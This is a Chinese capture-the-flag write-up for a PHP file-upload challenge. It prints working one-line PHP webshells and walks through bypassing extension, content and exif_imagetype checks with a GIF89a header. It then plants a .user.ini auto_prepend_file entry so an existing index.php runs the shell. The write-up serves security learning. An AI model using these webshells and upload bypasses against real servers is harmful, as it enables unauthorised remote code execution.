打开后是文件上传的点
1.先常规,上传一句话木马 1.php
<?php @eval($_POST['cmd']);?>
返回illegal suffix! 翻译过来是非法后缀!
意思后缀名不能是php,被过滤
2.将1.php修改为1.jpg
修改后缀为.jpg再上传看看
意思是不能有<?出现在文件内容里,说明他还会检测文件里面的内容
那我们可以使用另一个一句话马,没有<?的
是一个简单的script脚本,用 php 解析脚本内容
<script language="php">eval($_GET['cmd']);</script>
php7以前可以通过<script language=‘php’></script>和<%%>的方式执行php代码,本题是php5.6可行
3.再次上传1.jpg
提示exif_imagetype
exif_imagetype()函数
用于判断文件类型。
平时简单一点的文件类型检查是$_FILES[“file”][“type”]这样子,这种我们改一下后缀就行了。
但是exif_imagetype()方法读取图像内容的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE,比如我们传个.gif的文件,它返回值是IMAGETYPE_GIF。
各类型对应头字节:
JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)
GIF:47 49 46 38 39 61(ascll码值是GIF89a)
PNG: 89 50 4E 47
所以我们
exif_imagetype()
(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)
exif_imagetype — 判断一个图像的类型
说明
exif_imagetype ( string $filename ) : int
exif_imagetype() 读取一个图像的第一个字节并检查其签名
只要在我们的一句话马前加上GIF89a就行了,即GIF89a图片头文件欺骗
GIF89a?
<script language="php">eval($_GET['cmd']);</script>
再上传1.jpg
没有提示错误了,现在图片马已经上传上去了
并且知道上传的路径
但是图片马不是脚本文件,无法被解析运行
我们要把这个图片马解析成php,可以使用其他的方法
这道题的方法是使用.user.ini 文件
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为这几种模式
PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER
而.user.ini可以看成用户自己定义的php.ini,在php配置项中只有这两个项:
auto_prepend_file,auto_append_file
官方文档:PHP: 配置可被设定范围 - Manual php.ini配置文件中,几种模式之间的区别
其中就提到了,模式名为PHP_INI_USER的配置项,可以在用户脚本例如ini_set()函数中设置或者
注册表中设置,或者.user.ini中设置,这里就提到了.user.ini文件,那么这是个什么配置文件?官方文档在这里又做了解释:
除了主配置文件 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
这里就很清楚了,文件.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式名为"PHP_INI_PERDIR以及模式名PHP_INI_USER"的设置, (上面表格中没有提到的模式名PHP_INI_PERDIR也可以在.user.ini中由用户自定义设置)
但是实际上,除了模式PHP_INI_SYSTEM,(包括模式PHP_INI_ALL)都可以通过.user.ini来让用户自定义设置的。
而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件(apache之类的),只需要等待user_ini.cache_ttl这个属性所设置的时间(默认为300秒),即可重新加载
然后我们看到php.ini中的配置项,可惜的是,只要是稍微敏感的配置项(换句话说,稍微用处大点的),都是PHP_INI_SYSTEM模式的.甚至是php.ini only的(也就是我们用户不能自定义的模式),包括disable_functions、extension_dir、enable_dl等 不过,我们还是可以很容易地借助.user.ini文件来构造一个"后门"
php配置项中的两个有意思的项,下图第一个,第四个
auto_prepend_file,
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似的,只不过是在文件后面包含(前面auto_prepend_file
是在文件前面包含) 使用方法很简单,直接这样写在.user.ini文件中:
auto_prepend_file=要包含的文件
auto_prepend_file=1.gif
1.gif是要包含的文件,会找到同目录下的php文件,然后自动被他包含
所以,我们可以借助.user.ini文件轻松让所有php文件都"自动"包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell,比如1.jpg,1.gif之类的,
某网站限制不允许上传.php文件,就可以上传一个.user.ini文件,再上传一个图片马,包含起来进行getshell,不过前提是上传到的目录下需要有正常的php文件,否则也不能包含了,
比如上面上传的目录下就有一个正常的php文件index.php,里面是没有危害的php代码,然后我们上传一个有危害的图片马,再上传一个.user.ini配置文件,里面写有让index.php文件包含图片马的指令,这样子结合起来getshell的操作相当于利用文件包含漏洞来上传木马
思路有了
解题:
1.上传.user.ini
得用GIF89a绕过文件头的检测...
内容
GIF89a
auto_prepend_file=1.jpg
上传
回显
2.上传图片马1.jpg
内容
GIF89a?
<script language="php">eval($_GET['cmd']);</script>
上传
回显
注意这里的index.php,说明上传到的目录位置有index.php,即有一个php文件,满足我们的要求
3.菜刀连接